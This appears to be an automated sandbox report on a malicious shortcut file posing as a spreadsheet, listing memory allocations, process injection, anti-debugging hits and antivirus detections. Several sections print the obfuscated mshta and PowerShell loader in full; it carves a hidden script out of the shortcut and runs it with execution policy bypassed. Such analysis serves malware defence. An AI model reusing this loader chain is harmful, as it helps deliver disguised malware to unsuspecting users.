NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02685000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02686000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05000000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05001000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05002000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05003000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05004000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05005000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05006000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05007000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05008000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05009000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0500f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05010000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\programdata\h.ps1

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\test22\AppData\Local\Temp\20250410_70404.xls.lnk

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -f c:\programdata\h.ps1
cmdline	"C:\Windows\System32\mshta.exe" javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f \| select -Skip 0x0976)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\\\*.lnk \| where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41026 0;"+"powe"+a+"-f $w;";eval(s);
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*.lnk \| where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f \| select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w;
cmdline	powershell -ep bypass -c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*.lnk \| where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f \| select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w;

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 11, 2025, 3:47 p.m.	show_type: 0 filepath_r: powershell parameters: -ep bypass -c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*.lnk \| where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f \| select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w; filepath: powershell	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 16 (PAGE_EXECUTE) base_address: 0x034e0000 process_handle: 0xffffffff	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 11, 2025, 3:47 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW April 11, 2025, 3:47 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	"C:\Windows\System32\mshta.exe" javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f \| select -Skip 0x0976)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\\\*.lnk \| where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41026 0;"+"powe"+a+"-f $w;";eval(s);
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*.lnk \| where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f \| select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w;
cmdline	powershell -ep bypass -c $t=0x19c6;$k = Get-ChildItem .lnk \| where-object {$_.length -eq $t} \| Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*.lnk \| where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f \| select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w;

Executes JavaScript in a commandline (1 event)

cmdline

"C:\Windows\System32\mshta.exe" javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f | select -Skip 0x0976)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x19c6;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41026 0;"+"powe"+a+"-f $w;";eval(s);

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -f c:\programdata\h.ps1

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3048 resumed a thread in remote process 2200
NtResumeThread April 11, 2025, 3:47 p.m.	thread_handle: 0x00000338 suspend_count: 1 process_identifier: 2200	1	0	0

Creates a suspicious Powershell process (3 events)

option	-ep bypass	value	Attempts to bypass execution policy
option	-ep bypass	value	Attempts to bypass execution policy
option	-ep bypass	value	Attempts to bypass execution policy

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Lionic	Trojan.WinLNK.Boxter.4!c
CTX	lnk.trojan.generic
ALYac	Trojan.Agent.LNK.Gen
VIPRE	Heur.BZC.UGZ.Boxter.1.694738B5
Arcabit	Heur.BZC.UGZ.Boxter.1.694738B5
Symantec	Trojan.Gen.NPE
ESET-NOD32	LNK/Agent.AHC
Kaspersky	HEUR:Trojan.Multi.Runner.c
BitDefender	Heur.BZC.UGZ.Boxter.1.694738B5
MicroWorld-eScan	Heur.BZC.UGZ.Boxter.1.694738B5
Rising	Trojan.Agent/LNK!8.197F2 (TOPIS:E0:AapaztxiTlP)
Emsisoft	Heur.BZC.UGZ.Boxter.1.694738B5 (B)
F-Secure	Trojan:W32/LnkGen.C
Sophos	Troj/LnkObf-AV
Google	Detected
Microsoft	Trojan:Script/Wacatac.B!ml
ZoneAlarm	Troj/LnkObf-AV
GData	Heur.BZC.UGZ.Boxter.1.694738B5
Varist	LNK/ABTrojan.QTFZ-
Ikarus	Win32.Outbreak
Zoner	Probably Heur.LNKScript
Tencent	Win32.Trojan.Runner.Dtgl
huorong	Trojan/LNK.Starter.bj
Fortinet	LNK/Agent.AHC!tr
alibabacloud	Trojan:Win/Wacatac.C9nj

20250410_70404.xls.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All